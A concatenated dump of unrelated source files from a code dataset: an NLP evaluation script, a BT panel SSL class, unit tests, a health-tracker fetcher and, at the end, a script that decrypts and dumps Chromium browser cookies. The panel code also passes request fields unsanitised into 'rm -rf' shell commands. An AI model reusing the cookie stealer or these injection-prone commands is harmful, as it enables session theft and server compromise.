print(\"ABXDF\")\n\n else:\n y_pred_by_rel[rel].append(NA)\n\n y_true_total += y_true__by_rel[rel]\n y_pred_total += y_pred_by_rel[rel]\n\n # print(classification_report(y_true__by_rel[rel], y_pred_by_rel[rel]))\n\n total_count_more_than_one_rel += sum([1 for t in dic_of_set2rel if len(dic_of_set2rel[t]) > 1])\n\n print(rel)\n print()\n print(compute_f1(y_true__by_rel[rel], y_pred_by_rel[rel]))\n print()\n print()\n print()\n\n true_positive = sum(\n [1 for y_p, y_t in zip(y_pred_by_rel[rel], y_true__by_rel[rel]) if y_p == y_t and y_t != NA])\n false_positive = sum(\n [1 for y_p, y_t in zip(y_pred_by_rel[rel], y_true__by_rel[rel]) if y_p != NA and y_t != rel])\n true_negative = sum(\n [1 for y_p, y_t in zip(y_pred_by_rel[rel], y_true__by_rel[rel]) if y_p == y_t and y_t == NA])\n false_negative = sum(\n [1 for y_p, y_t in zip(y_pred_by_rel[rel], y_true__by_rel[rel]) if y_p == NA and y_t != NA])\n\n num_of_positive_examples = sum([1 for y_t in y_true__by_rel[rel] if y_t == rel])\n num_of_negative_examples = sum([1 for y_t in y_true__by_rel[rel] if y_t != rel])\n\n print(\"TRUE POSITIVE: \", round(true_positive / len(y_true__by_rel[rel]), 4), \"\\t\\tNUMBER: \", true_positive)\n print()\n print(\"FALSE POSITIVE: \", round(false_positive / len(y_true__by_rel[rel]), 4), \"\\t\\tNUMBER: \", false_positive)\n print()\n print(\"TRUE NEGATIVE: \", round(true_negative / len(y_true__by_rel[rel]), 4), \"\\t\\tNUMBER: \", true_negative)\n print()\n print(\"FALSE NEGATIVE: \", round(false_negative / len(y_true__by_rel[rel]), 4), \"\\t\\tNUMBER: \", false_negative)\n\n print(\"number of POSITIVE examples:\", num_of_positive_examples,\n \"({})\".format(round(num_of_positive_examples / (num_of_positive_examples + num_of_negative_examples), 2)))\n print(\"number of NEGATIVE examples:\", num_of_negative_examples,\n \"({})\".format(round(num_of_negative_examples / (num_of_positive_examples + num_of_negative_examples), 2)))\n print()\n\n accuracy_score_positive = sum([1 for y_p, y_t in zip(y_pred_by_rel[rel], y_true__by_rel[rel]) if\n y_t != NA and y_p == y_t]) / num_of_positive_examples\n accuracy_score_negative = sum([1 for y_p, y_t in zip(y_pred_by_rel[rel], y_true__by_rel[rel]) if\n y_t == NA and y_p == y_t]) / num_of_negative_examples\n print(\"accuracy score positive: \", accuracy_score_positive)\n print()\n print(\"accuracy negative score: \", accuracy_score_negative)\n print(\"-------------------------------------------------------------------------\")\n print()\n\n # dic_classification_report = classification_report(y_true__by_rel[rel], y_pred_by_rel[rel], output_dict=True)\n\n total_positive_examples = sum([1 for y_p, y_t in zip(y_pred_total, y_true_total) if y_t != NA])\n total_negative_examples = sum([1 for y_p, y_t in zip(y_pred_total, y_true_total) if y_t == NA])\n\n total_accuracy_score_positive = sum(\n [1 for y_p, y_t in zip(y_pred_total, y_true_total) if y_t != NA and y_p == y_t]) / total_positive_examples\n total_accuracy_score_negative = sum(\n [1 for y_p, y_t in zip(y_pred_total, y_true_total) if y_t == NA and y_p == y_t]) / total_negative_examples\n\n print()\n print(\"total_positive_examples:\", total_positive_examples,\n \"({})\".format(round(total_positive_examples / (total_positive_examples + total_negative_examples), 2)))\n print(\"total_negative_examples:\", total_negative_examples,\n \"({})\".format(round(total_negative_examples / (total_positive_examples + total_negative_examples), 2)))\n\n print()\n\n print(\"total accuracy_score: \", accuracy_score(y_true_total, y_pred_total))\n print()\n print(\"accuracy positive: \", total_accuracy_score_positive)\n print()\n print(\"accuracy negative : \", total_accuracy_score_negative)\n\n print()\n\n total_true_positive = sum([1 for y_p, y_t in zip(y_pred_total, y_true_total) if y_p == y_t and y_t != NA])\n total_false_positive = sum([1 for y_p, y_t in zip(y_pred_total, y_true_total) if y_p != NA and y_t != y_p])\n total_true_negative = sum([1 for y_p, y_t in zip(y_pred_total, y_true_total) if y_p == y_t and y_t == NA])\n total_false_negative = sum([1 for y_p, y_t in zip(y_pred_total, y_true_total) if y_p == NA and y_t != y_p])\n\n print(\"TOTAL TRUE POSITIVE: \", round(total_true_positive / len(y_true_total), 4), \"\\t\\tNUMBER: \",\n total_true_positive)\n print()\n print(\"TOTAL FALSE POSITIVE: \", round(total_false_positive / len(y_true_total), 4), \"\\t\\tNUMBER: \",\n total_false_positive)\n print()\n print(\"TOTAL TRUE NEGATIVE: \", round(total_true_negative / len(y_true_total), 4), \"\\t\\tNUMBER: \",\n total_true_negative)\n print()\n print(\"TOTAL FALSE NEGATIVE: \", round(total_false_negative / len(y_true_total), 4), \"\\t\\tNUMBER: \",\n total_false_negative)\n\n print()\n\n print(compute_f1(y_pred_total, y_true_total))\n\n print()\n print(\"total_count_more_than_one_rel\", total_count_more_than_one_rel,\n total_count_more_than_one_rel / len(sent_of_sentences_concat_rel), len(sent_of_sentences_concat_rel))\n\n","sub_path":"extra_files/simulation_TACRED_QA.py","file_name":"simulation_TACRED_QA.py","file_ext":"py","file_size_in_byte":20573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"210612410","text":"# Copyright 2019, 2020, 2021 IBM Corporation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport inspect\nimport logging\n\nfrom lale.operators import Operator, get_op_from_lale_lib, make_operator\nfrom lale.sklearn_compat import clone_op\n\nlogger = logging.getLogger(__name__)\n\n\ndef _wrap_operators_in_symtab(symtab):\n for name, impl in symtab.items():\n if (\n inspect.isclass(impl)\n and not issubclass(impl, Operator)\n and (hasattr(impl, \"predict\") or hasattr(impl, \"transform\"))\n ):\n operator = get_op_from_lale_lib(impl)\n if operator is None:\n symtab[name] = make_operator(impl=impl, name=name)\n logger.info(f\"Lale:Wrapped unkwnown operator:{name}\")\n else:\n symtab[name] = clone_op(operator, name)\n if operator.class_name().startswith(\"lale.lib.autogen\"):\n logger.info(f\"Lale:Wrapped autogen operator:{name}\")\n else:\n logger.info(f\"Lale:Wrapped known operator:{name}\")\n\n\ndef wrap_imported_operators():\n calling_frame = inspect.stack()[1][0]\n _wrap_operators_in_symtab(calling_frame.f_globals)\n if calling_frame.f_code.co_name == \"\": # for testing with exec()\n _wrap_operators_in_symtab(calling_frame.f_locals)\n","sub_path":"lale/operator_wrapper.py","file_name":"operator_wrapper.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"514353844","text":"#coding: utf-8\n#-------------------------------------------------------------------\n# 宝塔Linux面板\n#-------------------------------------------------------------------\n# Copyright (c) 2015-2016 宝塔软件(http:#bt.cn) All rights reserved.\n#-------------------------------------------------------------------\n# Author: 黄文良 <287962566@qq.com>\n#-------------------------------------------------------------------\n\n#------------------------------\n# SSL接口\n#------------------------------\nimport public,os,sys,binascii,urllib,json,time,datetime\nfrom BTPanel import cache\nclass panelSSL:\n __APIURL = 'http://www.bt.cn/api/Auth';\n __UPATH = 'data/userInfo.json';\n __userInfo = None;\n __PDATA = None;\n \n #构造方法\n def __init__(self):\n pdata = {}\n data = {}\n if os.path.exists(self.__UPATH):\n my_tmp = public.readFile(self.__UPATH)\n if my_tmp:\n self.__userInfo = json.loads(my_tmp);\n else:\n self.__userInfo = {}\n\n if self.__userInfo:\n pdata['access_key'] = self.__userInfo['access_key'];\n data['secret_key'] = self.__userInfo['secret_key'];\n else:\n pdata['access_key'] = 'test';\n data['secret_key'] = '123456';\n pdata['data'] = data;\n self.__PDATA = pdata;\n \n #获取Token\n def GetToken(self,get):\n rtmp = \"\"\n data = {}\n data['username'] = get.username;\n data['password'] = public.md5(get.password);\n pdata = {}\n pdata['data'] = self.De_Code(data);\n try:\n rtmp = public.httpPost(self.__APIURL+'/GetToken',pdata)\n result = json.loads(rtmp);\n result['data'] = self.En_Code(result['data']);\n if result['data']: public.writeFile(self.__UPATH,json.dumps(result['data']));\n del(result['data']);\n cache.delete('plugin_soft_list')\n return result;\n except Exception as ex:\n return public.returnMsg(False,'连接服务器失败!
' + str(rtmp))\n \n #删除Token\n def DelToken(self,get):\n os.system(\"rm -f \" + self.__UPATH);\n cache.delete('plugin_soft_list')\n return public.returnMsg(True,\"SSL_BTUSER_UN\");\n \n #获取用户信息\n def GetUserInfo(self,get):\n result = {}\n if self.__userInfo:\n userTmp = {}\n userTmp['username'] = self.__userInfo['username'][0:3]+'****'+self.__userInfo['username'][-4:];\n result['status'] = True;\n result['msg'] = public.getMsg('SSL_GET_SUCCESS');\n result['data'] = userTmp;\n else:\n userTmp = {}\n userTmp['username'] = public.getMsg('SSL_NOT_BTUSER');\n result['status'] = False;\n result['msg'] = public.getMsg('SSL_NOT_BTUSER');\n result['data'] = userTmp;\n return result;\n \n #获取订单列表\n def GetOrderList(self,get):\n if hasattr(get,'siteName'):\n path = '/etc/letsencrypt/live/'+ get.siteName + '/partnerOrderId';\n if os.path.exists(path):\n self.__PDATA['data']['partnerOrderId'] = public.readFile(path);\n \n self.__PDATA['data'] = self.De_Code(self.__PDATA['data']);\n result = json.loads(public.httpPost(self.__APIURL + '/GetSSLList',self.__PDATA));\n\n result['data'] = self.En_Code(result['data']);\n for i in range(len(result['data'])):\n result['data'][i]['endtime'] = self.add_months(result['data'][i]['createTime'],result['data'][i]['validityPeriod'])\n return result;\n \n #计算日期增加(月)\n def add_months(self,dt,months):\n import calendar\n dt = datetime.datetime.fromtimestamp(dt/1000);\n month = dt.month - 1 + months\n year = dt.year + month // 12\n month = month % 12 + 1\n\n day = min(dt.day,calendar.monthrange(year,month)[1])\n return (time.mktime(dt.replace(year=year, month=month, day=day).timetuple()) + 86400) * 1000\n \n \n #申请证书\n def GetDVSSL(self,get):\n get.id = public.M('domain').where('name=?',(get.domain,)).getField('pid');\n if hasattr(get,'siteName'):\n get.path = public.M('sites').where('id=?',(get.id,)).getField('path');\n else:\n get.siteName = public.M('sites').where('id=?',(get.id,)).getField('name');\n \n runPath = self.GetRunPath(get);\n if runPath != False and runPath != '/': get.path += runPath;\n authfile = get.path + '/.well-known/pki-validation/fileauth.txt';\n if not self.CheckDomain(get):\n if not os.path.exists(authfile): return public.returnMsg(False,'无法创建['+authfile+']');\n \n action = 'GetDVSSL';\n if hasattr(get,'partnerOrderId'):\n self.__PDATA['data']['partnerOrderId'] = get.partnerOrderId;\n action = 'ReDVSSL';\n \n self.__PDATA['data']['domain'] = get.domain;\n self.__PDATA['data'] = self.De_Code(self.__PDATA['data']);\n result = public.httpPost(self.__APIURL + '/' + action,self.__PDATA)\n try:\n result = json.loads(result);\n except: return result;\n result['data'] = self.En_Code(result['data']);\n if hasattr(result['data'],'authValue'):\n public.writeFile(authfile,result['data']['authValue']);\n \n return result;\n \n #获取运行目录\n def GetRunPath(self,get):\n if hasattr(get,'siteName'):\n get.id = public.M('sites').where('name=?',(get.siteName,)).getField('id');\n else:\n get.id = public.M('sites').where('path=?',(get.path,)).getField('id');\n if not get.id: return False;\n import panelSite\n result = panelSite.panelSite().GetSiteRunPath(get);\n return result['runPath'];\n \n #检查域名是否解析\n def CheckDomain(self,get):\n try:\n epass = public.GetRandomString(32);\n spath = get.path + '/.well-known/pki-validation';\n if not os.path.exists(spath): os.system(\"mkdir -p '\" + spath + \"'\");\n public.writeFile(spath + '/fileauth.txt',epass);\n result = public.httpGet('http://' + get.domain + '/.well-known/pki-validation/fileauth.txt');\n if result == epass: return True\n return False\n except:\n return False\n \n #确认域名\n def Completed(self,get):\n self.__PDATA['data']['partnerOrderId'] = get.partnerOrderId;\n self.__PDATA['data'] = self.De_Code(self.__PDATA['data']);\n if hasattr(get,'siteName'):\n get.path = public.M('sites').where('name=?',(get.siteName,)).getField('path');\n runPath = self.GetRunPath(get);\n if runPath != False and runPath != '/': get.path += runPath;\n sslInfo = json.loads(public.httpPost(self.__APIURL + '/SyncOrder',self.__PDATA));\n sslInfo['data'] = self.En_Code(sslInfo['data']);\n try:\n spath = get.path + '/.well-known/pki-validation';\n if not os.path.exists(spath): os.system(\"mkdir -p '\" + spath + \"'\");\n public.writeFile(spath + '/fileauth.txt',sslInfo['data']['authValue']);\n except:\n return public.returnMsg(False,'SSL_CHECK_WRITE_ERR');\n try:\n result = json.loads(public.httpPost(self.__APIURL + '/Completed',self.__PDATA));\n except:\n result = public.returnMsg(True,'检测中..');\n n = 0;\n my_ok = False\n while True:\n if n > 5: break;\n time.sleep(5);\n rRet = json.loads(public.httpPost(self.__APIURL + '/SyncOrder',self.__PDATA));\n n +=1\n rRet['data'] = self.En_Code(rRet['data']);\n try:\n if rRet['data']['stateCode'] == 'COMPLETED': \n my_ok = True\n break;\n except: return public.get_error_info()\n if not my_ok: return result;\n return rRet;\n \n #同步指定订单\n def SyncOrder(self,get):\n self.__PDATA['data']['partnerOrderId'] = get.partnerOrderId;\n self.__PDATA['data'] = self.De_Code(self.__PDATA['data']);\n result = json.loads(public.httpPost(self.__APIURL + '/SyncOrder',self.__PDATA));\n result['data'] = self.En_Code(result['data']);\n return result;\n \n #获取证书\n def GetSSLInfo(self,get):\n self.__PDATA['data']['partnerOrderId'] = get.partnerOrderId;\n self.__PDATA['data'] = self.De_Code(self.__PDATA['data']);\n time.sleep(3);\n result = json.loads(public.httpPost(self.__APIURL + '/GetSSLInfo',self.__PDATA));\n result['data'] = self.En_Code(result['data']);\n \n #写配置到站点\n if hasattr(get,'siteName'):\n try:\n siteName = get.siteName;\n path = '/etc/letsencrypt/live/'+ siteName;\n if not os.path.exists(path):\n public.ExecShell('mkdir -p ' + path)\n csrpath = path+\"/fullchain.pem\";\n keypath = path+\"/privkey.pem\";\n pidpath = path+\"/partnerOrderId\";\n #清理旧的证书链\n public.ExecShell('rm -f ' + keypath)\n public.ExecShell('rm -f ' + csrpath)\n public.ExecShell('rm -rf ' + path + '-00*')\n public.ExecShell('rm -rf /etc/letsencrypt/archive/' + get.siteName)\n public.ExecShell('rm -rf /etc/letsencrypt/archive/' + get.siteName + '-00*')\n public.ExecShell('rm -f /etc/letsencrypt/renewal/'+ get.siteName + '.conf')\n public.ExecShell('rm -f /etc/letsencrypt/renewal/'+ get.siteName + '-00*.conf')\n public.ExecShell('rm -f ' + path + '/README');\n \n public.writeFile(keypath,result['data']['privateKey']);\n public.writeFile(csrpath,result['data']['cert']+result['data']['certCa']);\n public.writeFile(pidpath,get.partnerOrderId);\n import panelSite\n panelSite.panelSite().SetSSLConf(get);\n public.serviceReload();\n return public.returnMsg(True,'SET_SUCCESS');\n except:\n return public.returnMsg(False,'SET_ERROR,' + public.get_error_info());\n result['data'] = self.En_Code(result['data']);\n return result;\n \n #部署证书夹证书\n def SetCertToSite(self,get):\n try:\n result = self.GetCert(get)\n siteName = get.siteName;\n path = '/etc/letsencrypt/live/'+ siteName;\n if not os.path.exists(path):\n public.ExecShell('mkdir -p ' + path)\n csrpath = path+\"/fullchain.pem\";\n keypath = path+\"/privkey.pem\";\n \n #清理旧的证书链\n public.ExecShell('rm -f ' + keypath)\n public.ExecShell('rm -f ' + csrpath)\n public.ExecShell('rm -rf ' + path + '-00*')\n public.ExecShell('rm -rf /etc/letsencrypt/archive/' + get.siteName)\n public.ExecShell('rm -rf /etc/letsencrypt/archive/' + get.siteName + '-00*')\n public.ExecShell('rm -f /etc/letsencrypt/renewal/'+ get.siteName + '.conf')\n public.ExecShell('rm -f /etc/letsencrypt/renewal/'+ get.siteName + '-00*.conf')\n public.ExecShell('rm -f ' + path + '/README');\n \n public.writeFile(keypath,result['privkey']);\n public.writeFile(csrpath,result['fullchain']);\n import panelSite\n panelSite.panelSite().SetSSLConf(get);\n public.serviceReload();\n return public.returnMsg(True,'SET_SUCCESS');\n except Exception as ex:\n return public.returnMsg(False,'SET_ERROR,' + str(ex));\n \n #获取证书列表\n def GetCertList(self,get):\n try:\n vpath = '/www/server/panel/vhost/ssl'\n if not os.path.exists(vpath): os.system(\"mkdir -p \" + vpath);\n data = []\n for d in os.listdir(vpath):\n mpath = vpath + '/' + d + '/info.json';\n if not os.path.exists(mpath): continue;\n tmp = public.readFile(mpath)\n if not tmp: continue;\n tmp1 = json.loads(tmp)\n data.append(tmp1)\n return data;\n except:\n return [];\n \n #删除证书\n def RemoveCert(self,get):\n try:\n vpath = '/www/server/panel/vhost/ssl/' + get.certName\n if not os.path.exists(vpath): return public.returnMsg(False,'证书不存在!');\n os.system(\"rm -rf \" + vpath)\n return public.returnMsg(True,'证书已删除!');\n except:\n return public.returnMsg(False,'删除失败!');\n \n #保存证书\n def SaveCert(self,get):\n try:\n certInfo = self.GetCertName(get)\n if not certInfo: return public.returnMsg(False,'证书解析失败!');\n vpath = '/www/server/panel/vhost/ssl/' + certInfo['subject'];\n if not os.path.exists(vpath):\n os.system(\"mkdir -p \" + vpath);\n public.writeFile(vpath + '/privkey.pem',public.readFile(get.keyPath));\n public.writeFile(vpath + '/fullchain.pem',public.readFile(get.certPath));\n public.writeFile(vpath + '/info.json',json.dumps(certInfo));\n return public.returnMsg(True,'证书保存成功!');\n except:\n return public.returnMsg(False,'证书保存失败!');\n \n #读取证书\n def GetCert(self,get):\n vpath = '/www/server/panel/vhost/ssl/' + get.certName\n if not os.path.exists(vpath): return public.returnMsg(False,'证书不存在!')\n data = {}\n data['privkey'] = public.readFile(vpath + '/privkey.pem')\n data['fullchain'] = public.readFile(vpath + '/fullchain.pem')\n return data;\n \n #获取证书名称\n def GetCertName(self,get):\n try:\n openssl = '/usr/local/openssl/bin/openssl';\n if not os.path.exists(openssl): openssl = 'openssl';\n result = public.ExecShell(openssl + \" x509 -in \"+get.certPath+\" -noout -subject -enddate -startdate -issuer\")\n tmp = result[0].split(\"\\n\");\n data = {}\n data['subject'] = tmp[0].split('=')[-1]\n data['notAfter'] = self.strfToTime(tmp[1].split('=')[1])\n data['notBefore'] = self.strfToTime(tmp[2].split('=')[1])\n data['issuer'] = tmp[3].split('O=')[-1].split(',')[0]\n if data['issuer'].find('/') != -1: data['issuer'] = data['issuer'].split('/')[0];\n result = public.ExecShell(openssl + \" x509 -in \"+get.certPath+\" -noout -text|grep DNS\")\n data['dns'] = result[0].replace('DNS:','').replace(' ','').strip().split(',');\n return data;\n except:\n return None;\n \n #转换时间\n def strfToTime(self,sdate):\n import time\n return time.strftime('%Y-%m-%d',time.strptime(sdate,'%b %d %H:%M:%S %Y %Z'))\n \n \n #获取产品列表\n def GetSSLProduct(self,get):\n self.__PDATA['data'] = self.De_Code(self.__PDATA['data']);\n result = json.loads(public.httpPost(self.__APIURL + '/GetSSLProduct',self.__PDATA));\n result['data'] = self.En_Code(result['data']);\n return result;\n \n #加密数据\n def De_Code(self,data):\n if sys.version_info[0] == 2:\n pdata = urllib.urlencode(data);\n else:\n pdata = urllib.parse.urlencode(data);\n if type(pdata) == str: pdata = pdata.encode('utf-8')\n return binascii.hexlify(pdata);\n \n #解密数据\n def En_Code(self,data):\n if sys.version_info[0] == 2:\n result = urllib.unquote(binascii.unhexlify(data));\n else:\n if type(data) == str: data = data.encode('utf-8')\n tmp = binascii.unhexlify(data)\n if type(tmp) != str: tmp = tmp.decode('utf-8')\n result = urllib.parse.unquote(tmp)\n\n if type(result) != str: result = result.decode('utf-8')\n return json.loads(result);\n \n \n \n ","sub_path":"www/server/panel/class/panelSSL.py","file_name":"panelSSL.py","file_ext":"py","file_size_in_byte":16232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"281496351","text":"# -*- coding: us-ascii -*-\n\"\"\"Unit and regression tests for the sourceLookup tool.\"\"\"\n\nfrom __future__ import unicode_literals\n\nimport argparse\nimport datetime\nimport tempfile\n\nfrom pkg_resources import resource_stream, resource_filename\n\nfrom pyAirviro.lookupservices.ihs import IHSService\nfrom pyAirviro.other.controlfile import ControlFile\nfrom pyAirviro.system import DATE_FORMAT\nimport pyAirviro.tests\nfrom pyAirviro.tests import ireplace\nfrom pyAirviro.tools.source_update import priority, lookup\n\n\nclass PriorityHelperTests(pyAirviro.tests.TestCase):\n\n \"\"\"Unit and regression tests for the priority helper of sourceLookup.\"\"\"\n\n def test_convert_valid_numeric_strings(self):\n self.assertEqual(priority('0'), 0)\n self.assertEqual(priority('50'), 50)\n self.assertEqual(priority('99'), 99)\n\n def test_convert_invalid_numeric_strings(self):\n self.assertRaises(argparse.ArgumentTypeError, priority, '-1')\n self.assertRaises(argparse.ArgumentTypeError, priority, '100')\n\n def test_convert_non_numeric_strings(self):\n self.assertRaises(ValueError, priority, 'foo')\n self.assertRaises(ValueError, priority, '1.1')\n\n\nclass LookupTests(pyAirviro.tests.TestCase):\n\n \"\"\"Unit and regression tests of sourceLookup's lookup function.\"\"\"\n\n def test_lookup(self):\n rsrcname = resource_filename(__name__, 'data/lookupservices.rf')\n resources = ControlFile(rsrcname)\n cache = resource_filename(\n 'pyAirviro.tests.lookupservices',\n 'data/cache/IHS',\n )\n service = IHSService(\n resources,\n cache=cache, cache_only=True,\n report_download_entitlement=False,\n )\n with tempfile.TemporaryFile() as outstream:\n with resource_stream(__name__, 'data/shipsources.txt') as instream:\n num_updated = lookup(service, instream, outstream)\n self.assertEqual(num_updated, 5)\n outstream.seek(0)\n today = datetime.date.today().strftime(DATE_FORMAT)\n with resource_stream(__name__, 'data/shiptargets.txt') \\\n as targetstream:\n targetlines = ireplace(targetstream, (\n ('CHANGED 140117', 'CHANGED ' + today),\n ('_IHS_fetch_date=140117', '_IHS_fetch_date=' + today),\n ))\n self.assertStreamEqual(outstream, targetlines)\n","sub_path":"pyAirviro/tests/tools/test_source_update.py","file_name":"test_source_update.py","file_ext":"py","file_size_in_byte":2425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"283834036","text":"\nclass Solution(object):\n def sumSubarrayMins(self, A):\n dot = 0\n sums = 0\n stack = []\n\n for elem in A:\n new_count = 1\n while stack and stack[-1][0] >= elem:\n val, count = stack.pop()\n dot -= val * count\n new_count += count\n \n stack.append((elem, new_count))\n dot += elem * new_count\n sums += dot\n\n return sums % (10**9+7)\n\n\nA = [3,1,2,4]\nres = Solution().sumSubarrayMins(A)\nprint(res)","sub_path":"stack/0907_sum_of_subarray_minimums/0907_sum_of_subarray_minimums.py","file_name":"0907_sum_of_subarray_minimums.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"337626465","text":"\"\"\"\nFetches patient data from Basis Health Tracker and stores it into database\n\"\"\"\n\nimport webapp2\nimport urllib\nimport Cookie\nimport json\nimport time\n\nfrom datetime import datetime, timedelta\nfrom numpy import *\nfrom math import *\nfrom classification import *\n\nfrom google.appengine.api import urlfetch\nfrom google.appengine.ext import db\nfrom models import *\n\nclass Fetch(webapp2.RequestHandler):\n patient_key = 'seedsystem00@gmail.com'\n export_offset = 0\n margin_of_error = 15 * 60 #in seconds\n\n def get(self):\n self.response.headers['Content-Type'] = 'text/plain'\n\n self.cur_epoch = time.time() - self.margin_of_error\n\n patient = Patient.get_patient(self.patient_key)\n username = patient.key().name()\n password = patient.basis_pass\n self.login(username, password)\n\n for i in range(30):\n self.cur_epoch -= 60\n self.export_date = time.strftime(\n \"%Y-%m-%d\",\n time.localtime(self.cur_epoch))\n data = self.get_metrics(patient)\n if data != None:\n self.response.write(data)\n self.response.write('\\n')\n self.store_data(patient, data)\n self.check_data(patient, data)\n return\n\n def login(self, username, password):\n \"\"\"\n Login into Basis server\n Returns:\n True at success, False otherwise\n \"\"\"\n url = 'https://app.mybasis.com/login'\n form_fields = {\n 'username': username,\n 'password': password,\n }\n form_data = urllib.urlencode(form_fields)\n result = urlfetch.fetch(\n url=url,\n payload=form_data,\n method=urlfetch.POST,\n follow_redirects=False)\n cookie = Cookie.SimpleCookie()\n cookie.load(result.headers.get('set-cookie', ''))\n self.cookie_header = ''\n for value in cookie.values():\n self.cookie_header += '%s=%s; ' % (value.key, value.value)\n return True\n\n def fetch_url(self, url):\n \"\"\"\n Fetch data from url in JSON format\n\n Args:\n url: URL string to fetch from\n Returns:\n decoded JSON object of data\n \"\"\"\n result = urlfetch.fetch(\n url=url,\n method=urlfetch.GET,\n headers={'Cookie': self.cookie_header},\n follow_redirects=False)\n decoded = json.loads(result.content)\n return decoded\n\n def get_metrics(self, patient):\n \"\"\"\n Get current patient quantitative data from Basis\n\n Args:\n patient: the corresponding Patient object of the fetched data\n Returns:\n Map of metrics types to values\n \"\"\"\n\n metrics = {} \n \n url = 'https://app.mybasis.com/api/v1/metricsday/me?' \\\n + 'day=' + self.export_date \\\n + '&padding=' + str(self.export_offset) \\\n + '&heartrate=true' \\\n + '&steps=true' \\\n + '&calories=true' \\\n + '&gsr=true' \\\n + '&skin_temp=true' \\\n + '&air_temp=true'\n data = self.fetch_url(url)\n index = int(self.cur_epoch - data['starttime'])/60\n\n metrics['air_temp'] = data['metrics']['air_temp']['values'][index]\n metrics['gsr'] = data['metrics']['gsr']['values'][index]\n metrics['heart_rate'] = data['metrics']['heartrate']['values'][index]\n metrics['skin_temp'] = data['metrics']['skin_temp']['values'][index]\n\n empty_data = False\n for key in metrics:\n if metrics[key] is None:\n empty_data = True\n\n metrics['time'] = datetime.fromtimestamp(self.cur_epoch)\n if empty_data:\n return None\n\n url = 'https://app.mybasis.com/api/v2/users/me/days/' \\\n + self.export_date + '/activities?' \\\n + 'type=sleep' \\\n + '&expand=activities.stages,activities.events'\n data = self.fetch_url(url)\n\n is_active = False\n for activity in data['content']['activities']:\n for stage in activity['stages']:\n start_time = stage['start_time']['timestamp']\n end_time = stage['end_time']['timestamp']\n if self.cur_epoch >= start_time and self.cur_epoch <= end_time:\n is_active = True\n metrics['activity'] = stage['type'].title()\n\n if not is_active:\n url = 'https://app.mybasis.com/api/v2/users/me/days/' \\\n + self.export_date + '/activities?' \\\n + 'type=run,walk,bike' \\\n + '&expand=activities'\n data = self.fetch_url(url)\n for activity in data['content']['activities']:\n start_time = activity['start_time']['timestamp']\n end_time = activity['end_time']['timestamp']\n if self.cur_epoch >= start_time and self.cur_epoch <= end_time:\n is_active = True\n metrics['activity'] = activity['type'].title()\n\n if not is_active:\n metrics['activity'] = 'Still'\n\n metrics['time'] = datetime.fromtimestamp(self.cur_epoch)\n return metrics\n\n def check_data(self, patient, metrics):\n \"\"\"\n Checks if the fetched metrics indicates sepsis and triggers\n appropriate alerts\n\n Args:\n metrics: map of metrics type to values\n \"\"\"\n weights = ClassWeights.get_recent_weights()\n manual_data = PQuantData.get_recent_manual_data(patient)\n qual_data = PQualData.get_recent_data(patient)\n if manual_data is None or qual_data is None or weights is None:\n return\n parsed_blood_pressure = manual_data.blood_pressure.split('/',1)\n systolic = float(parsed_blood_pressure[0])\n diastolic = float(parsed_blood_pressure[1])\n body_temp = manual_data.body_temp\n \n if metrics['activity'] == 'Run' or metrics['activity'] == 'Bike':\n features = matrix([[\n systolic,\n diastolic,\n body_temp,\n 0.0,\n metrics['gsr'],\n 0.0,\n quant_data.skin_temp,\n 0.0,\n metrics['heart_rate'],\n 0.0,\n qual_data\n ]])\n elif metrics['activity'] == 'Rem' or metrics['activity'] == 'Light' or metrics['activity'] == 'Deep':\n features = matrix([[\n systolic,\n diastolic,\n body_temp,\n metrics['gsr'],\n 0.0,\n metrics['skin_temp'],\n 0.0,\n 0.0,\n 0.0,\n metrics['heart_rate'],\n qual_data\n ]])\n else:\n features = matrix([[\n systolic,\n diastolic,\n body_temp,\n metrics['gsr'],\n 0.0,\n metrics['skin_temp'],\n 0.0,\n metrics['heart_rate'],\n 0.0,\n 0.0,\n qual_data\n ]])\n\n probability = classify(features, weights)\n\n self.response.write('Probability of having Sepsis: ')\n self.response.write(probability)\n self.response.write('\\n')\n\n trigger_alert(patient.key().name(), probability)\n\n return\n\n def store_data(self, patient, metrics):\n \"\"\"\n Store metrics into database\n\n Args:\n metrics: map of metrics type to values\n Returns:\n True on success, False otherwise\n \"\"\"\n if patient == None:\n return False\n else:\n data = PQuantData(patient=patient,\n time_taken=metrics['time'],\n gsr=metrics['gsr'],\n skin_temp=metrics['skin_temp'],\n air_temp=metrics['air_temp'],\n heart_rate=metrics['heart_rate'],\n activity_type=metrics['activity'])\n data.put()\n return True\n\nAPPLICATION = webapp2.WSGIApplication([\n ('/cron/fetch', Fetch),\n], debug=True)","sub_path":"Backend/seed-endpoints/fetch.py","file_name":"fetch.py","file_ext":"py","file_size_in_byte":8272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"242464089","text":"\n# Import modules\nfrom __init__ import GetMasterKey, FetchDataBase, DecryptValue, GetBrowsers\n\n\"\"\" Fetch cookies from chromium based browsers \"\"\"\ndef Get():\n global credentials\n credentials = []\n for browser in GetBrowsers():\n master_key = GetMasterKey(browser)\n database = FetchDataBase(browser + \"\\\\Cookies\", \"SELECT * FROM cookies\")\n i=1\n for row in database:\n cookie = {\n \"value\": DecryptValue(row[12], master_key),\n \"hostname\": row[1],\n \"name\": row[2],\n \"path\": row[4],\n \"expires\": row[5],\n \"secure\": bool(row[6])\n }\n credentials.append(cookie)\n with open(\"output_file_cookie.txt\", \"a\") as file:\n scrittura= str(i) + f\") {str(cookie)}\"\n file.write(scrittura)\n file.write(\"\\n\")\n i=i+1\n\n return credentials\n\nGet()\n\"\"\"\nGet cookies converted to NetScape format\nConver netscape to json: 